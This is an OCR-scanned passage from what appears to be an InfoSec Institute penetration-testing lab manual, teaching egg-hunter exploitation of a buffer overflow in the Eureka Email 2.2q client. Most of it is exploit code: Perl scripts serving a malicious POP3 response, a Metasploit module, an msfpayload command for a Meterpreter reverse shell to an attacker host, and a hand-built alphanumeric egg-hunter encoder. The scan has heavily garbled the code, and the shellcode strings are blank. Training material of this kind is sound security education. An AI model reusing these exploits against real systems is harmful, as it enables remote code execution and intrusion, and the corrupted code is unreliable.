if this normal direct RET overwrite exploit would work :

Socket;
#£i11l out the it IP or hostname
#which is used by Eureka EMail as #0003 server
#fnote : must be exact match !
$localserver = " ";
#calculate faan to RIP
Sdunk = " " x {723 - uryr{Slocalserver));
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my Sret=uack{('V',0x7E47BS533); #imp edi from user3Z.dll XP SP3
v/ $padding = " "ow 277;

#calc.exe
+ Sshellcode="

" " .,
r

rmy Spayload=S$junk.Sret.$padding. $shellcods;

ffset up listener on port 110

my Sport=110;

my $proto=gerprotobynamne ("tep')

gocket (SERVER, PEINET, SOCK_STREAM, $proto)
my S$paddr=sockaddr in{Sport, INADDR_ANY):
Lind{SERVER, $paddr) ;

; 211 {SERVER, SOMAXCONN)

Lring
my $client addr;
while ($client addr=sccept (CLIENT, SERVER))

{
print " "
while (1)
{
printg CLIENT " ", Spayload.™ ;
erinn " "Llength($payload) . v
1

CLIENT;

11 "

Attach Immunity to Eureka, and set a breakpoint at 0x7E47B533 (Jmp edi).

Trigger the exploit. Immunity breaks at jmp edi. When we look at the registers now, instead of finding our
shellcode at EDI, we see A’s. That’s not what we have expected, but it’s still ok, because we control the A’s.
This scenario, however, would be more or less the same as when using jmp esp : we would only have about 700
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;
S . ) ﬁ (6 I,
SR

bytes of space. Alternatively, you could use nops instead of A’s, and write a short jump just before RET is
overwritten. Then place the shellcode directly after overwrite RET and it should work.

But let’s do 1t the “hard” way this time, just to demonstrate that it works. Even though we see A’s where we
may have expected to see shelicode, our shellcode is still placed somewhere in memory. If we look a little bit
further, we can see our shellcode at 0x00473992 :

1|d nxonar39e?

This address may not be static, so let’s make the exploit more dynamic and use an egg hunter to find and
execute the shellcode.

We’'ll use an initial jmp to esp (because esp is only 714 bytes away), put our egg hunter at esp, then write some
padding, and then place our real shelicode (prepended with the marker). Then no matter where our shellcode is
placed, the egg hunter should find & execute it.
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my Segghunter =

" “. # this is the marker/tag: w00t

L1} n.
!

The tag used in this example is the string w00t. This 32 byte shellcode will search memory for “w0OMtw00t” and
execute the code just behind it. This is the code that needs to be placed at esp.

When we write our shellcode in the payload, we need to prepend it with w00tw00t (= 2 times the tag — after all,
just fooking for a single instance of the egg would probably result in finding the second part of egg hunter itself,
and not the shellcode)

('pvefindaddr j esp). We’ll use 0x7E47BCAF (jmp esp) from user32.d1l (XP SP3).

First, locate jump espﬂ
Next, change the exploit script so the payload does the following:

- Overwrite EIP after 710 bytes with jmp esp

- Put the $egghunter at ESP. The egghunter will look for “w00tw00t”

- Add some padding (could be anything... nops, A’s... as long as you don’t use w00t :) )
- Prepend “wO0tw00t” before the real shellcode

- Write the real shellcode

Here is our functional code that does the above listed steps:

use Socket;

#£111 out the local IP or hostname

#which ig used by Eureka EMail as POP3 server
#ncte : must be exact match !

my $localserver = " ",

#calculate ofiset to EIP

my S$junk = " " x (723 - lengtih({$localserver));
my Sret=pack('V',0x7TE47BCAF); #jmp esp from user3Z2.dll
my $padding = " " x 1000;

my Segghunter
1

" ", # this is the marker/tag: wi0t

e ar
1

fcalc.exe
v $shellcodes=" "




n L
7

my Spayload=$junk.$ret. $egghunter. $padding.™ ".$shelicode;

#set up listener on port 110

my $port=110;

my Sproto=gsn w{'tep');

SRS (DLRVLh,PF INET, SOCK_STREAM, $proto);
/ Spaddr sockaddr ln($p0rt INADDR ANY};
i (SERVER, Spaddr} ;

ten (SERVER, SOMAXCONN) ;

T .
ni ;

Sclient addr:

. {CLIENT, SERVER) )

whale($cllent_addr=ﬁ
{

L

print ;
while (1)
{
print CLIENT " Spaylecad." ;
print M "Llength{$payload)." _ "
}

Attach Immunity to Fureka Mail, and set a breakpoint at 0x7E47BCAF. Continue to run Eureka Email.
Trigger the exploit. Inmunity will break at the jmp esp breakpoint.

Now look at esp (before the jump is made) :

We can.see our egghunter at 0x0012cd6e

At 0x12¢d7d (mov eax,74303077), we find our string w00t.
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L STL?), ST
EEP

&1

E

£

Tlicgal uze of :

Nice.

As a little exercise, let’s try to figure out where exactly the shellcode was located in memory when it got
executed.

Put a break between the two eggs and the shellcode (by prepending the shellcode with 0xCC), and run the
exploit again, while it is attached to the debugger.
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Here we see the egg (77303074
T7303074) followed by the break (0xcc)
and then the shellcode

EIP (breakpoint) . Gx004739AD

=> nowhere near our address on the stack |

£0P £
0P £31,T4O0RD FTR DE1 {ERL)
BliSk 5]

R

R

PUSH

HOR

OE

; | ¢ | Imagl R RUIE
; 4L 30 Eureka E OF : Latent L gode ‘Imag K E RIE
- AL FEO0 & 2065 Eureka E O G ‘ tImagi R RUWE
5% : _E : N E idats { Imagi Rt . BHE

B Eureks B En CEEONTCES ;Imagiﬂ RUE

o So it looks like the egghunter (at 0x0012c¢d6c) had to search memory until it reached 0x004739AD.

If we look back (put breakpoint at jmp esp) and look at stack,we see this :

Egg hunter

no shelicode hera

Despite the fact that the shellcode was not located anywhere near the hunter, It did not take a very long time
before the egg hunter could locate the eggs and execute the shellcode.

But what if the shellcode is on the heap ? How can we find all instances of the shellcode i memory? What if it
takes a long time before the shellcode is found 7 What if we must tweak the hunter so 1t would start searching in
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a particular place in memory 7 And is there a way to change the place where the egg hunter will start the search
7 A lot of questions, so let’s continue.

Tweaking the egg hunter start position (for fun. speed and reliability)

When the egg hunter in our example starts executing, it wili perform the following instructions :

(Let's pretend that EDX points to Ox0012E468 at this point, and the egg sits at 0x001 2/555 or s0. )

00LZ2F460 66:81CA FFOP OR D¥,0FFF
00L2F465 42 INC EDX
001l2F4¢é6 52 PUSH EDX
0012F4¢7 6a 02 PUsSH 2
0012r469 58 POP EAX

The first mstruction will put O0x0012FFFF into EDX. The next instruction (INC EDX) increments EDX with 1,
so EDX now points at 0x00130000. This is the end of the current stack frame, so the search does not even start
in a location where it would potentially find a copy of the shellcode in the same stack frame. (Ok, there is no
copy of the shellcode in that location in our example, but it could have been the case). The egg+shellcode are
somewhere in memory, and the egg hunter will eventually find the egg+shellcode. No problems there.

If the shellcode could only be found on the current stack frame (which would be rare - but hey, can happen),
then it may not be possible to find the shellcode using this egg hunter, because the hunter would start searching
after the shellcode. If you can execute some lines of code, and the shellcode is on the stack as well, it may be
easier to jump to the shellcode directly by using a near or far jump using an offset. But it may not be reliable to
do so.

There could be a case where you would need to tweak the egg hunter a bit so it starts looking in the right place,
by positioning itself before the eggs and as close as possible to the eggs, and then execute the search loop.

Do some debugging and you’ll see. Watch the EDI register when the egghunter runs and you’ll see where it
starts. If modifying the egg hunter is required, then it may be worth while playing with the first instruction of
the egg hunter a little. Replacing FFOF with 00 00 will allow you to search the current stack frame if that is

required. This would contain null bytes and you would have to deal with that. [f that is a problem, you may
need to be a little creative.

There may be other ways to position yourself closer, by replacing 0x66,0x81,0xca,0xff,0x0f with some
instructions that would. Some examples :

- Find the beginning of the current stack frame and put that value in EDI
- Move the contents of another register into EDI

- Find the beginning of the heap and put that value in EDI (in fact, get PEB at TEB+0x30 and then get all
process heaps at PEB+0x90),

- Find the image base address and put it in EDI
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put in EDI is located BEFORE the eggs+shellcode. You could look at the other registers at the moment the
egghunter code would run and see if one of the registers could be placed in EDI to make the hunter start closer
to the egg. Alternatively see what is in ESP, and perhaps a couple of pop edi instructions may put something
usefull in EDI.

Of course, tweaking the start location is only advised under the following requirements:

- Speed really is an issue

- The exploit does not work otherwise

- You can perform the change in a generic way or if this is a custom exploit that needs to work only once.

Hey, the egg hunter works fine in most cases ! Why would WE ever need to change the start address ?

There may be a case where the final shellcode (tag+shellcode) is located in multiple places in memory, and
some of these copies are corrupted/truncated. In this particular scenario, there may be good reason to reposition

~ the egg hunter seach start location so it would try to avoid corrupted copies. (After all, the egg hunter only looks

at the 8 byte tag and not at the rest of the shellcode behind it)

A good way of finding out if your shellcode is somewhere in memory, and where it is, and if it is corrupt or not
i1s by using the “!pvefindaddr compare” functionality, which was added in version 1.16 of the plugin.

This feature was really added to compare shellcode in memory with shellcode in a file, but it will dynamically
search for all instances of the shellcode. So you can see where your shellcode is found, and whether the code in
a given location was modified/cut off in memory or not. Using that information, you can make a decision
whether you should tweak the egg hunter start position or not, and if you have to change it, where you need to
change it into.

A littie demo on how to compare shelicode:

First, you need to write your shellcode to a file. You can use a little script like this to write the shellcode to a
file :

# write shellcode for calc.exe te file called code.bin
# you can - of course - prepend this with egghunter tag
# if you want

#

vy $shellcode=" "
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open (FILE, " "y

print FILE $shellcode;

¥ v, " "o langth(Sshellcode) M "
close (FILE) ; -

(We'll assume you have written the file into ¢:\Mmp". Note that in this example, we did not prepend the
shellcode with w00tw00t, because this technique really 1s not limited to egg hunters. Of course, if you want to
prepend it with w00tw00t — be my guest)

Next, attach Immunity Debugger to the application, put a breakpoint before the shellcode would get executed,
and then trigger the exploit.

Now run the following PyCommand : !pvefindaddr compare c\tmpicode.bin

The script will open the file, take the first 8 bytes, and search memory for each location that points to these 8
bytes. Then, at each location, it will compare the shellcode in memory with the original code in the file.

If the shellcode is unmodified, you’ll see something like this :

)
QBREIF aaD!
BERDFGE0. 3 5, Frum ttie
BEBADFERD, 1 i sy
gBADFes: na_ for \.wa\ "e.’»‘_\:-:-:fa\
GRADFOal:
GERDFEHG: Me Moy at luhdttun

GEHDFBQD; x -hVi leode unmodified

GEROF OG0 - & f- at location | E2884741BE

GERDFOBL: : Licode unmedifizd N

9BRDFOBD! J 2 at locaticn § @00474908

BEROFABD: shetlcode unnhodificd

AERDFA60; R adlnq mERODY &t location : @uAB47S584
> Hooray, shellssde unmodif ied

Reading nemory av location i ©uB@120BEY

-5 Hooyay, chellicods unnodifie

Ipvefindaddr compare cihtmpicode.bin

If the shellcode is different (we have replaced some bytes with something else, just for testing purposes), you’ll
get something results that include:
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B e e e
i S

LS

vatue (which is what is found in the file at that position), and the value found in memory (so you can use this to
build a list of bad chars, or to determine that — for example — shellcode was converted to uppercase or
lowercase)

- A visual representation will be given, indicating “~ when bytes don’t match, which looks like this:
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If one of the instances in memory seems to be couup[cd you can t1y to re- cncodc the shellcode to filter out bad
chars... but if there is one instance that is not broken, you can try to figure out a way to get the egg hunter to
start at a location that would trigger the hunter to find the unmodified version of the shellcode first :-)

Note : you can compare bytes in memory (at a specific location) with bytes from a file by adding the memory
address to the command fine :

'pvefindaddr compare etmp\code.bin 0x00120BB7

~ Next, let’s see if the egg hunter still works with larger shellcode, which is one of the goals behind using egg
- hunters in the first place.

~ Let’s try again with larger shellcode. We'll try to spawn a meterpreter session over tcp (reverse connect o
~ attacker) in the same Eureka Email exploit.

. Generate the shellcode. Our attacker machine is at 192.168.0.122. The default port is 4444. We’ll use
. alpha_mixed as encoder, so the command would be :

 /msfpayload windows/meterpreter/reverse tcp LHOST=192.168.0.122 R | /msfencode -b *0x00’ -t perl -e
- x86/alpha_mixed

./msfpayload windows/meterpreter/reverse tcp LHOST=192.168.0.122 R | ./msfencode -b
'0x00* -t perl -e x86/alpha mixed
f*) x86/zlpha_mixed succeeded with size 644 (iteration=1}

E my Shuf =




Sk

In the exploit script, replace the calc.exe shellcode with the one generated above,

Before running the exploit, set up the meterpreter listener :

/msfeonsole

< metaspleit >

N {oc)
() AN

e N

[ metasploit v3.3.4d-dev [core:3.3 api:1.0]
[ 490 exploits - 227 auxiliary

+ == --=[ 192 payloads - 23 encoders - 8 nops
[ svn r8091 updated today (2010.01.09)

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpretfer/reverse tcp

msf expleit (handler) > set LPORT 4444

LPORT =» 4444
msf expleit (handler) > set LHOST 192.168,0.122

LHCST => 192.168.0.122
mef exploit (handler) > show options

Moduis options:

Name Current Setting Reqguired Description

Payload options {(windows/meterpreter/reverse_tcp):
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Name Current Setting Required Description

EXITFUNC process yes Exit technique: seh, thread, process
LHOST 192.168.0.122 yes The iooal address
LPORT 4444 ves The _:usl port

Exploit target:
Id Name
0 Wildcard Target

msf exploit(handler) > exploit

[*] Starting the payload handler...
[*] Started r=wverss handler on port 4444

Now run the exploit and trigger the overflow with Eureka. After a few seconds, you should see this :

[*] Sending stage (723456 bytes)
{*] Meterpreter session 1 opened (192.168.0.122:4444 -> 192.168.0.193:15577)

meterpreter >

owrned !

Implementing egg hunters in Metasploit

Let’s convert our Eureka Mail Client egghunter exploit to a metasploit module.

Some facts before we begin :

- We will need to set up a server (POP3, listener on port 110)

- We will need to calculate the correct offset. We’ll use the SRVHOST parameter for this

- We will assume that the client is using XP SP3 (you can add more if you can get hold of the correct
trampoline addresses for other Service Packs)

Note : the original metasploit module for this vulnerability is already part of Metasploit (see the
exploits/windows/misc folder, and look for eureka mail err.rb). We’ll just make our own module.

Our custom metasploit module could look something like this :

. Metasplolt3 < Msf::Explolt::Remote
Rank = NormalRanking
include Msf::Exploit::Remote: :TcpServer
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include Msf::Exploit::Egghunter

ded initialize(info = {})
supzr (wpdate info{info,
'Name ' => 'Bureka Email Z.2¢ ERR Remote Buffer Overflow Exploit',
'Description’ => %q{
This mo = exploits a buffer overflow in the Eureka Email 2.Z2g

client that is triggered through an excessively long ERR message.
e
"Author? =>
[
'InfoSec Institute’
I
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
by

'Payload’ =2
{
"BadChars' =>» " ",
"StackAdjustment' => -35300,
'DisableNops' => truse,
1,
Platfc => 'win',
'Targets =
[

[ "Win XP SP3 English’®, { 'Ret'® => OxT7TE47BCAF } 1},
¥

‘Privileged!’ => ralssa,

‘DefaultTarget! => 0}))

register options/{

[

OptPort.new ('SRVPORT', [ orus, * ", 110 1),
I, self.class)

and

def on_client connect{client)
return LI ({p = regenerate payload(client}) == nil)

offsettoeip=723-datastore['SRVHOST'].length
hunter = generate egghunter

egg = hunter[1]

buffer = " "

buffer << make nops (ofisettoeip)
buffer << [target.ret].pack{'V")
buffer << hunter[0)

buffer << make nops(1000)

buffer << egg + egg

buffer << pavload.encoded + "

print_status{” ")
print_status (" ")
client.put (buffer)

client.put {buffer)

client.put{buffer)
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client.put(buffer)
client.put (buffer)
client.put (buffer)

handler
service.close client (client)

gx
St S

Of course, if you want to use your own custom egg hunter (instead of using the one built into Metasploit -
which uses the NtDisplayString/NtAccessCheckAndAuditAlarm technigue to search memory by the way), then
you can also write the entire byte code manually in the exploit.

Exploit : (192.168.0.193 = client running Eureka, configured to connect to 192.168.0.122 as POP3 server.
192.168.0.122 = metasploit machine)

We have placed the metasploit module under exploit/windows/eureka (new folder)

Here are the results of the test:

={ metasploit v3.3.4-dev [core:3.3 api:l1l.0]
+ == ~=={ 493 exploits -~ 232 auxiliary
4 wm -e-m{ 192 payloads - 23 encoders - 8 nops
=[ svn r8l37 updated today (2010.01.15)
msf > use exploit/windows/eureka/infosec eureka2
msf exploit(infosec_eureké2) > set payload windows/exec
payload => windows/exec
msf exploit{infosec_eurekal) > set SRVHOST 192.168.0.l122
SRVHOST => 192.168.0.122
msf exploit (infosec eurekal) > set CMD calc
CMD => calc
msf exploit{infosec eurekaZ) > explcit
{*1 Exploit running as background job.
msf exploit{infosec eurekaz) >
{*] Server started.
[(*] [*] Sending exploit to 192.168.0.193,..
[*] Offset te EIP : 710
[*] Server stopped.

Connect the Eureka Mail client to 192.168.0.122 :
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Badchars + Encoding

The Egghunter code is just like regular shellcode. It 1s susceptible to corruption in memory, it may be subject to
bad chars, etc. So if you are getting weird errors during egghunter execution, it may be a good idea to compare
the original code with what you have in memory and search for bad chars.

What if you have discovered that the code was cofrupted ?

Alternative encoding may be required to make the egg hunter work, and/or a “bad char” filter may be required
to filter out characters that get corrupted or converted in memory and would break the code.

Also, keep In mind that the type of encoding & badchars to filter may be entirely different between what is
applicable to the final shellcode and what is applicable to the egg hunter. It won’t happen a lot of times, but it is
possible. So you may want to run the exercise on both the hunter and the shellcode.

Encoding the egg hunter (or any shellcode) is quite simple. Just write the egghunter to a file, encede the file,
and use the encoded byte code output as your egg hunter payload. Whether you’ll have to include the tag
before encoding or not depends on the bad chars, but in most cases you should not include it. After all, if the
tag is different after encoding, you also need to prepend the shellcode with the modified tag... You'll have to
put the egg hunter in a debugger and see what happened to the tag.

Example : Let’s say the egg hunter needs to be alphanumerical (uppercase) encoded, and you have included the
tag in the eggfile, then this will be the result :

root@xxxxx:/pentest/exploits/trunk

u "

my Seggfile = ;
my S$Segghunter

1"t

" 1

open (FILE, " "y

print FILE S$egghunter;

close (FILE);

print " ".length ($egghunter) .” "L Segygfile." My

root@xxxxx:/pentest/exploits/trunk
Wrote 32 bytes to file eggfile.bin
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root@xxxxx:/pentest/exploits/trunk
[*1 x86/alpha upper succeeded with size 132 (iteration=1)

my Shuf =

Look at the output in $buf : your tag must be out there, but where is it? Has it changed or not? Wil this encoded
version work?

Try it.
Don’t be disappointed if it doesn’t, and read on.
Hand-crafting the encoder

What if there are too many constraints and, Metasploit fails to encode your shellcode ? (egg hunter = shellcode,
- so this applies to all shapes and forms of shellcode in general)

What if, for example, the list of bad chars is quite extensive, what if - on top of that — the egg hunter code
should be alphanumeric only.

Well, you’ll have to handcraft the encoder yourself. In fact, just encoding the egg hunter (including the tag)
- will not work out of the box. What we really need is a decoder that will reproduce the original egg hunter

(inchuding the tag) and then execute it.

Take a look at a somewhat “special” egghunter.

egghunters={

n n

Hl H)

The goal of this egghunter was to make: “Alphanumeric egghunter shellcode + restricted chars
w403 f\x3awx2f”. So it looks like the exploit only can be triggered using printable ascii characters
(alphanumeric) (which is not so uncommon for a web server/web application)
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When you convert this egghunter to asm, you see this : (just the first few lines are shown)

25 4A4DAESS AND EAX, 554E4D4A

25 3532312A AND EAX,2A313235

54 PUSH ESP

58 POP EAX

2D 314D5555 SUB EAX,55554D31

2D 314B555%5 SUB EAX,55554B31

2D 35515555 SUB BEAX, 55555135

50 PUSH EAX

41 INC ECX

41 INC ECX

25 4A4D4ESS AND EAX, 5D4E4D4A

25 3532312A AND EAX, 2A313235

2D 21555555 SUB EAX, 55555521

2D 21545555 SUB EAX, 55555421

2D 436F556D SUB EAX, 6D5S56F49

50 . PUSH EAX

41 INC ECX

41 INC ECX

25 4RA4DAESS AND EAX,554E4D4A

25 3532312A AND EAX, 22313235

2D 71216175 SUB EAX, 75612171

2D 71216175 SUB EAX, 75612171
2D 6F475365 SUB EAX, 6553476F

wow — that doesn’t look like the egg hunter we know, does it ?

Let’ see what it does. The first 4 instructions empty EAX (2 logical AND operations) and the pointer in ESP is
put on the stack (which points to the beginning of the encoded egghunter). Next, this value is popped into
EAX. So EAX effectively points to the beginning of the egghunter after these 4 instructions :

25 4A4D4ES5 AND EAX, 354E4D4A
© 25 3532312A AND EAX,2A313235

54 PUSH ESP

58 POP EAX

Next, the value in EAX is changed (using a series of SUB instructions). Then the new value in EAX is pushed
onto the stack, and ECX 1s increased with 2 :

2D 314D5555 SUB EAX,55554D31
2D 314B5555 SUB EAX,55554B31
20 35515555 SUB EAX, 55555135
50 PUSH EAX
41 INC ECX
41 INC ECX

The value that is calculated in EAX is going to be important later on ! We’ll get back to this in a minute.
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Then, eax is cleared again (2 AND operations), and using the 3 SUB instructions on EAX, a value is pushed
onto the stack.

- main thread

i) =t

SEE5EZ ]
§ESE4 5] E ‘
BNEEEFas

So before SUB EAX,55555521 is run, EAX = 00000000. When the first SUB ran, EAX contains
AAAAAADE. After the second sub, EAX contains 555556BE, and after the third SUB, eax contains
E7FFE775. Then, this value is pushed onto the stack.

Wait a minute. This value fooks familiar to me. 0xE7, OxFF, 0xE7, 0x75 are in fact the last 4 bytes of the
NtAccessCheckAndAuditAlarm egg hunter (in reversed order). Nice,

If you continue to run the code, you’ll see that it will reproduce the original egg hunter.

Anyways, the code used is in fact an encoder that will reproduce the original egg hunter, put it on the stack, and
will run the reproduced code, effectively bypassing bad char limitations (because the entire custom made
encoder did not use any of the bad chars.)

Of course, if the AND, PUSH, POP, SUB, INC opcodes are in the list of badchars as well, then you may have a
problem, but you can play with the values for the SUB instructions in order to reproduce the original egg
hunter, keep track of the current location where the egghunter is reproduced (on the stack) and finally “jump” to
it.

How is the jump made ?

If you have to deal with a fimited character set (only alphanumerical ascii-printable characters allowed for
example), then a jmp esp, or push esp+ret, ... won’t work because these instructions may invalid characters. If
you don’t have to deal with these characters, then simply add a jump at the end of the encoded hunter and
you’re all set.

Let’s assume that the character set is limited, so we must find another way to solve this Remember when we
said earlier that certain instructions were going to be important 7 Well this is where it will come into play. If we
cannot make the jump, we need to make sure the code starts executing automatically. The best way to do this is
by writing the decoded egg hunter right after the encoded code, so when the encoded code finished reproducing
the original egg hunter, it would simply start executing this reproduced egg hunter.

Copyright InfoSec Institute, Inc. { Expert Penetration Testing Lab Manual



% : :
W L L T e
R B B e SR E e

be put in ESP before starting to decode. This way, the decoder will rebuild the egg hunter and place it right after
the encoded hunter. We’ll have a closer look at this n the next section.

Seeing this code run and reproduce the original egghunter is nice, but how can you build your own
decoder ? '

The framework for building the encoded egghunter (or decoder if that’s what you want to call it) looks like this:

- Set up the stack & registers (calculate where the decoded hunter must be written. This will be the local
position + length of the encoded code (which will be more or less the same size). Calculating where the decoder
must be written to requires you to evaluate the registers when the encoded hunter would start running. If you
have made your way to the encoded hunter via a jmp esp, then esp will contain the current location, and you can
simply Increase the value until it points to the right location. )

- Reproduce each 4 bytes of the original egg hunter on the stack, right after the encoded hunter (using 2 AND’s
to clear out EAX, 3 SUBs to reproduce the original bytes, and a PUSH to put the reproduced code on the stack)

- When all bytes have been reproduced, the decoded egg hunter should kick n.

First, let’s build the encoder for the egghunter itself. You have to start by grouping the egg hunter in sets of 4
bytes. We have to start with the fast 4 bytes of the code, because we will push values to the stack each time we
reproduce the original code... so at the end, the first bytes will be on top. Our NtAccessCheckAndAuditAlarm
egg hunter is 32 bytes, so that’s nicely aligned. But if it’s not aligned, you can add more bytes (nops) to the
bottom of the original egg hunter, and start bottom up, working in 4 byte groups.

\xB6\HBL\XCA\XFE
NxOF\#42\x52\x6A
Ax02\x58\»CD\XZE
\x3CA\x05\x5A\x74
A\xEF\xB8\x77\x30 ;Wi
\x30\x74\x8B\xFA ;0
\%AF\x75\XEA\XAF
A\X75\xE7\xFF\xE7

The code used by above will effectively reproduce the egghunter (using WOO0T as tag). After the code has run,
this is what is pushed on the stack :
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. Nice. -

Two questions remain however : how do we jump to that egg hunter now, and what if you have to write the
encoded egg hunter yourself 7 Let’s look at how it’s done :

. Since we have 8 lines of 4 bytes of egg hunter code, you will end up with 8 blocks of encoded code. The entire

- code should only using alphanumeric ascii-printable characters, and should not use any of the bad chars, (check
http://www.asciitable.com/) The first printable char starts at 020 (space) or 0x21, and ends at 7E

- Each block is used to reproduce 4 bytes of egg hunter code, using SUB instructions. The way to caiculate the

~ values to use m the SUB instructions is this :

© Take one line of egg hunter code, reverse the bytes !, and get its 2°s complement (take all bits, invert them, and
add one) (Using Windows calculator, set it to hex/dword, and calculate “0 — value™). For the last line of the egg

* hunter code (0x75E7FFE7 -> OxE7FFE775) this would be 0x1800188B (= 0 —~ ETFFE775).

Then find 3 values that only use alphanumeric characters (ascii-printable), and are not using any of the bad

 chars (403 3a\x2{)... and when you sum up these 3 values, you should end up at the 2’s complement

~ value (0x1800188B in case of the last linc) again. (by the way, thanks ekse for working with me finding the
~ values in the list below :-} That was fun !)

" The resulting 3 values are the ones that must be used in the sub,eax <....> instructions.

Since bytes will be pushed to the stack, you have to start with the last line of the egg hunter first (and don’t
- forget to reverse the bytes of the code), so after the last push to the stack, the first bytes of the egg hunter would

.. be located at ESP.

" In order to calculate the 3 values, We usually do this :
- Calculate the 2’s complement of the reversed bytes

- - Start with the first bytes in the 2°s complement. (18 in this case), and look for 3 values that, when you add

- them together, they will sum up to 18. You may have to overflow in order to make it work (because you are
limited to ascii-printable characters). So simply using 06+06+06 won’t work as 06 is not a valid character. In

. that case, we need to overflow and go to 118, We usually start by taking a value somewhere between 55 (3

. times 55 = 0 again) and 7F (last character). Take for example 71. Add 71 to 7! = E2. In order to get from E2

to 118, we need to add 36, which is a valid character, so we have found our first bytes (see red). This may not
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get to, divide 1t by 3 to know in what area you need to start looking)

Then do the same for the next 3 bytes in the 2’s complement. Note : if you have to overflow to get to a certain
value, this may impact the next bytes. Just add the 3 values together at the end, and if you had an overflow, you
have to subtract one again from one of the next bytes in one of the 3 values. Just try, you’ll see what WE
mean. (and you will find out why the 3rd value starts with 35 instead of 36)

Last line of the (original) egg hunter :

x75 xE7 xFF xET7 -> xE7 xFF xE7 x75: {(2's complement : 0x1800188B)

sub eax, 0x71557130 (=> "\x2d\x30\xT71\x55\x71") (Reverse again !)
sub eax, 0x71557130 (=> "\x2d\x30\x71\x55\x71"}
sub eax, 0x3555362B {(=> "\x2d\x2B\x36\x55\x35"}

=» sum of these 3 values is 0x118001888 {or 0x1800188B in dword)

Let’s took at the other ones. Second last line of the (original) egg hunter :

xAF x75 xEA xAF -> xXAF xEA x75 xAF: (2's complement : 0Ox50158A51)
sub eax, 0x71713071
sub eax, 0x71713071
sub eax, 0x6D33296F

and so on...

x30 %74 x8B xFA -> xFA %8B x74 x30: (2's complement : 0xC5748BD0)
sub eax, 0x65253050

sub eax, 0x65253050

sub eax, 0x3B2AZB30

*EF xB8 x77 x30 ~> 230 %77 xB8 xEF: (2's complement : OxCF884711)
sub eax, 0x41307171

sub eax, 0x41307171

sub eax, 0x4D27642F

¥3C x05 x5A %74 -> x74 x5A x05 =x3C: (2's complement : O0x8BASFACA)
sub eax, 0x30305342

sub eax, 0x30305341

sub eax, 0x2B455441

202 %58 xCD xZ2E -> xZ2E xCD %58 x02: (2's complement : OxDL32ATFE)
sub eax, 0x46663054

sub eax, 0x46663055

sub eax, 0x44664755

x0F x42 x52 x6A -> x6A x52 x42 =0F: (2's complement : Ox95ADBDFL)
sub eax, 0x3139%3E50

sub eax, 0X323%3ES0




sub eax, 0x323B4151

Finally, the first linc :

266 %81 xca xff -> xff xca %8Bl x66 (2's complement : 0x00357E%A)

sub eax, 0x55703533
sub eax, 0x55702533

| = o

sub eax, 0x55552434

Each of these blocks must be prepended with code that would zero-out EAX :
" Example :

AND EAX, 554F4D4A ("\XZ25\x4A\ 4D\ x4E\x55™)
AND EAX, 2A313235 ("NX25\%35\x32\x31\x2A")

(2 times 5 bytes)

Each block must be foliowed by a push eax (one byte, “\x507) instruction which will put the result (one line of
egg hunter code} on the stack. Don’t forget about it, or your decoded egg hunter won’t be placed on the stack.

So : each block will be 10 (zero eax) + 15 (decode) +1 (push eax) = 26 bytes. We have 8 blocks, so we have 208
bytes already.

Note, when converting the sub eax,<value> instructions to opcode, don’t forget to reverse the bytes of the
values again... so sub eax,0x476D556F would become “2d\x6f\x55\x6d\x47”

The next thing that we need to do is make sure that the decoded egg hunter will get executed after it was
reproduced.

In order to do so, we need to write it in a predictable location and jump to it, or we need to write it directly after
the encoded hunter so it gets executed automatically,

If we can write in a predictable location (because we can modify ESP before the encoded hunter runs), and if
we can jump to the beginning of the decoded hunter (ESP) after the encoded hunter has completed, then that
will work fine.

Of course, if you character set is limited, then you may not be able to add a “jmp esp” or “push esp/ret” or
anything like that at the end of the encoded hunter.  If you can — then that’s good news.

If that 1s not possible, then you will need to write the decoded egg hunter right after the encoded version. So
when the encoded version stopped reproducing the orginal code, it would start executing it. In order to do this,
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we must calculate where we should write the decoded egg hunter to. We know the number of bytes in the

encoded egg hunter, so we should try to modify ESP accordingly {and do so before the decoding process
begins) so the decoded bytes would be written directly after the encoded hunter.

The technique used to modify ESP depends on the available character set. If you can only use ascii-printable
characters, then you cannot use add or sub or mov operations. One method that may work is running a series of
POPAD instructions to change ESP and make it point below the end of the encoded hunter. You may have to
add some nops at the end of the encoded hunter, just to be on the safe side. (\x41 works fine as nop when you
have to use ascii-printable characters only)

Wrap everything up, and this is what you’ll get :

Code to modify ESP (popad) + Encoded hunter (8 blocks : zero out eax, reproduce code, push to stack) + some
nops if necessary...

When we apply this technique to the Eureka Mail Client exploit, we get this :

use Socket;

#£f111l cut the Iaazl IP or hostname

#which is used by Eureka EMaill as POP3 server
#note : must be exact match !

mny $Slocalserver = " "

fcalculate oifset to EIP

my $junk = " " x (723 ~ length{S$localserver));

my Sret=pack('V',0xTE47BCAF); #imp esp from user32.dll
my $padding = " "o 1000;

#alphanumeric ascili-printable encoded + bad chars
# tag = w00t :

my $egghunter =

fpopad - make ESP point below the enccded hunter
Ao e 8 blocks encoded hunter--—--—-=---—-------

" " fzerc eax

n L1} ; #

" " #x75 xET xFF xE7

" ", frush eax

" ". fzero eax
n 1L . #
" " #xAF x75 xEA XAF

oeax

H ", tzero eax
i ” . #
" ", #x30 x74 %8B xFA

" " #‘.’.‘: eax

" " #zero eax
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" ", #xEF xBB x77 x30
" " #uiah eax

#— _____________________________

“ " ffzero eax

1" ll‘ #

" " #x3C =05 x5A x74
" 1 #T ....... eax

# ___________________________

" " fzerc eax

(1) " . #
" ", #x02 x58 xCD x2E

" n
13} 11
eax
" ", fzero eax
1 i . #
" " #x0F 242 x52 x6A
n 17
LL "
" " ¥zero eax
" Li} . #
n " #x66 x81 xCA xFF
(1] L1
L1} L]
eax
" ", fsome nops

fcalc.exe
my $shellcode="

" 1
n "
1" L1g
" n
" 1]
n 1"
n "
L1 "
Lal "
n 1
" "
" "
L3l ]
" 1"
” 1
t n
1" i1
" 1%
" £l
T [i]
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my $paylead=$junk.S$ret.$egghunter.$padding.”

fiset up listener on port 110

sy Sport=110;

$proto—sﬂ oratobyname (Ttep')

t (SERVER, PF_INET, SOCK STREAM, Sprotoc);
$paddr sockaddr_ln $port INADDR ANY);

i (SERVER, $paddr) ;

(SERVER, SOMAXCONN) ;

Len

$client_addr;

my
while (Sclient addr=accept (CLIENT, SERVER))
{

n
L) nt

y $Cnt“1;
while ($cnt<10}
Spayload B
Langith (Spayload) .

CLIENT "

}
}
close CLIENT;
print " "

TR e B Y I AP
~;fJ B 5 R SR8 TR N I
_{ i3 N IR Y J_I
